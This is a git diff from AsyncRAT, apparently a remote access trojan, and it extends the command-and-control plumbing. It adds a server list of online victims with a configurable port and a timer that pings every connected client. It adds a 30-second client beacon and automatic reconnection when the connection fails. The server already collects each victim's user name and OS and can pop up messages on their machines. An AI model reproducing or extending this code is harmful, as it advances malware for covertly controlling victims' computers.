diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
index 3b8dbef..19ba1a6 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj
@@ -60,6 +60,7 @@
+
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
index 711b19c..c6805b1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
@@ -37,6 +37,7 @@
this.sendMessageToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
+ this.ping = new System.Windows.Forms.Timer(this.components);
this.contextMenuStrip1.SuspendLayout();
this.statusStrip1.SuspendLayout();
this.SuspendLayout();
@@ -107,6 +108,12 @@
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
this.toolStripStatusLabel1.Text = "...";
//
+ // ping
+ //
+ this.ping.Enabled = true;
+ this.ping.Interval = 50000;
+ this.ping.Tick += new System.EventHandler(this.ping_Tick);
+ //
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -135,6 +142,7 @@
private System.Windows.Forms.ToolStripMenuItem sendMessageToolStripMenuItem;
private System.Windows.Forms.StatusStrip statusStrip1;
private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
+ private System.Windows.Forms.Timer ping;
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
index 1f19941..40eb869 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
@@ -4,6 +4,7 @@ using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System.Threading.Tasks;
using Microsoft.VisualBasic;
+using System.Linq;
namespace AsyncRAT_Sharp
{
@@ -17,29 +18,32 @@ namespace AsyncRAT_Sharp
async private void Form1_Load(object sender, EventArgs e)
{
Listener listener = new Listener();
- listener.Connect(8080);
+ listener.Connect(Settings.Port);
while (true)
{
await Task.Delay(1000);
- toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString());
+ toolStripStatusLabel1.Text = string.Format("Online {0}", Settings.Online.Count.ToString());
}
}
private void sendMessageToolStripMenuItem_Click(object sender, EventArgs e)
{
- string URL = Interaction.InputBox("Message", "Message", "Hello World!");
- if (string.IsNullOrEmpty(URL))
- return;
- else
+ if (listView1.SelectedItems.Count > 0)
{
- MsgPack msgpack = new MsgPack();
- msgpack.ForcePathObject("Packet").AsString = "MessageBox";
- msgpack.ForcePathObject("Message").AsString = URL;
- foreach (ListViewItem C in listView1.SelectedItems)
+ string URL = Interaction.InputBox("Message", "Message", "Hello World!");
+ if (string.IsNullOrEmpty(URL))
+ return;
+ else
{
- Clients CL = (Clients)C.Tag;
- CL.BeginSend(msgpack.Encode2Bytes());
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "MessageBox";
+ msgpack.ForcePathObject("Message").AsString = URL;
+ foreach (ListViewItem C in listView1.SelectedItems)
+ {
+ Clients CL = (Clients)C.Tag;
+ CL.BeginSend(msgpack.Encode2Bytes());
+ }
}
}
}
@@ -48,5 +52,20 @@ namespace AsyncRAT_Sharp
{
listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
}
+
+ private void ping_Tick(object sender, EventArgs e)
+ {
+ if (Settings.Online.Count > 0)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "Ping";
+ msgpack.ForcePathObject("Message").AsString = "This is a ping!";
+ foreach (Clients CL in Settings.Online.ToList())
+ {
+ CL.BeginSend(msgpack.Encode2Bytes());
+ }
+ }
+ }
+
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx
index 0f48af9..58396dd 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.resx
@@ -123,4 +123,7 @@
234, 17
+
+ 392, 17
+
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
index bebf025..74c0792 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
@@ -2,6 +2,7 @@
using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack;
using System;
+using System.Diagnostics;
namespace AsyncRAT_Sharp.Handle_Packet
{
@@ -10,25 +11,38 @@ namespace AsyncRAT_Sharp.Handle_Packet
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
public static void Read(Clients client, byte[] data)
{
- MsgPack unpack_msgpack = new MsgPack();
- unpack_msgpack.DecodeFromBytes(data);
- switch (unpack_msgpack.ForcePathObject("Packet").AsString)
+ try
{
- case "ClientInfo":
- if (Program.form1.listView1.InvokeRequired)
+ MsgPack unpack_msgpack = new MsgPack();
+ unpack_msgpack.DecodeFromBytes(data);
+ switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
- Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
- }
- else
- {
- client.LV = new ListViewItem();
- client.LV.Tag = client;
- client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString());
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
- client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
- Program.form1.listView1.Items.Insert(0, client.LV);
- }
- break;
+ case "ClientInfo":
+ if (Program.form1.listView1.InvokeRequired)
+ {
+ Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
+ }
+ else
+ {
+ client.LV = new ListViewItem();
+ client.LV.Tag = client;
+ client.LV.Text = string.Concat(client.Client.RemoteEndPoint.ToString());
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
+ client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
+ Program.form1.listView1.Items.Insert(0, client.LV);
+ }
+ break;
+
+ case "Ping":
+ {
+ Debug.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
+ }
+ break;
+ }
+ }
+ catch(Exception ex)
+ {
+ Debug.WriteLine(ex.Message);
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
new file mode 100644
index 0000000..32242f4
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs
@@ -0,0 +1,11 @@
+using AsyncRAT_Sharp.Sockets;
+using System.Collections.Generic;
+
+namespace AsyncRAT_Sharp
+{
+ class Settings
+ {
+ public static List Online = new List();
+ public static int Port = 8080;
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
index 96369c2..f1247fc 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
@@ -33,6 +33,7 @@ namespace AsyncRAT_Sharp.Sockets
MS = new MemoryStream();
LV = null;
Read += HandlePacket.Read;
+ Settings.Online.Add(this);
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
@@ -97,12 +98,16 @@ namespace AsyncRAT_Sharp.Sockets
delegate void _isDisconnected();
public void Disconnected()
{
- if (Program.form1.listView1.InvokeRequired)
- Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
- else
+ if (LV != null)
{
- LV.Remove();
+ if (Program.form1.listView1.InvokeRequired)
+ Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected));
+ else
+ {
+ LV.Remove();
+ }
}
+ Settings.Online.Remove(this);
try
{
MS.Dispose();
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
index 4c23a87..3311aaf 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
@@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp.Sockets
{
class Listener
{
- public Socket listener;
+ public Socket listener { get; set; }
public async void Connect(int port)
{
diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs
index 500e101..a7a2ca1 100644
--- a/AsyncRAT-C#/Client/Program.cs
+++ b/AsyncRAT-C#/Client/Program.cs
@@ -16,6 +16,7 @@ namespace Client
public static byte[] Buffer { get; set; }
public static long Buffersize { get; set; }
public static bool BufferRecevied { get; set; }
+ public static Timer Tick { get; set; }
public static MemoryStream MS { get; set; }
static void Main(string[] args)
@@ -43,6 +44,8 @@ namespace Client
BufferRecevied = false;
MS = new MemoryStream();
BeginSend(SendInfo());
+ TimerCallback T = new TimerCallback(Ping);
+ Tick = new Timer(T, null, 15000, 30000);
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
}
catch
@@ -68,6 +71,7 @@ namespace Client
{
if (client.Connected == false)
{
+ Tick.Dispose();
client.Close();
client.Dispose();
MS.Dispose();
@@ -114,6 +118,7 @@ namespace Client
}
else
{
+ Tick.Dispose();
client.Close();
client.Dispose();
MS.Dispose();
@@ -123,6 +128,7 @@ namespace Client
}
catch
{
+ Tick.Dispose();
client.Close();
client.Dispose();
MS.Dispose();
@@ -142,9 +148,23 @@ namespace Client
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
}
break;
+
+ case "Ping":
+ {
+ Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
+ }
+ break;
}
}
+ public static void Ping(object obj)
+ {
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "Ping";
+ msgpack.ForcePathObject("Message").AsString = DateTime.Now.ToLongTimeString().ToString();
+ BeginSend(msgpack.Encode2Bytes());
+ }
+
public static void BeginSend(byte[] Msgs)
{
if (client.Connected)
@@ -163,7 +183,13 @@ namespace Client
}
}
catch
- { }
+ {
+ Tick.Dispose();
+ client.Close();
+ client.Dispose();
+ MS.Dispose();
+ InitializeClient();
+ }
}
}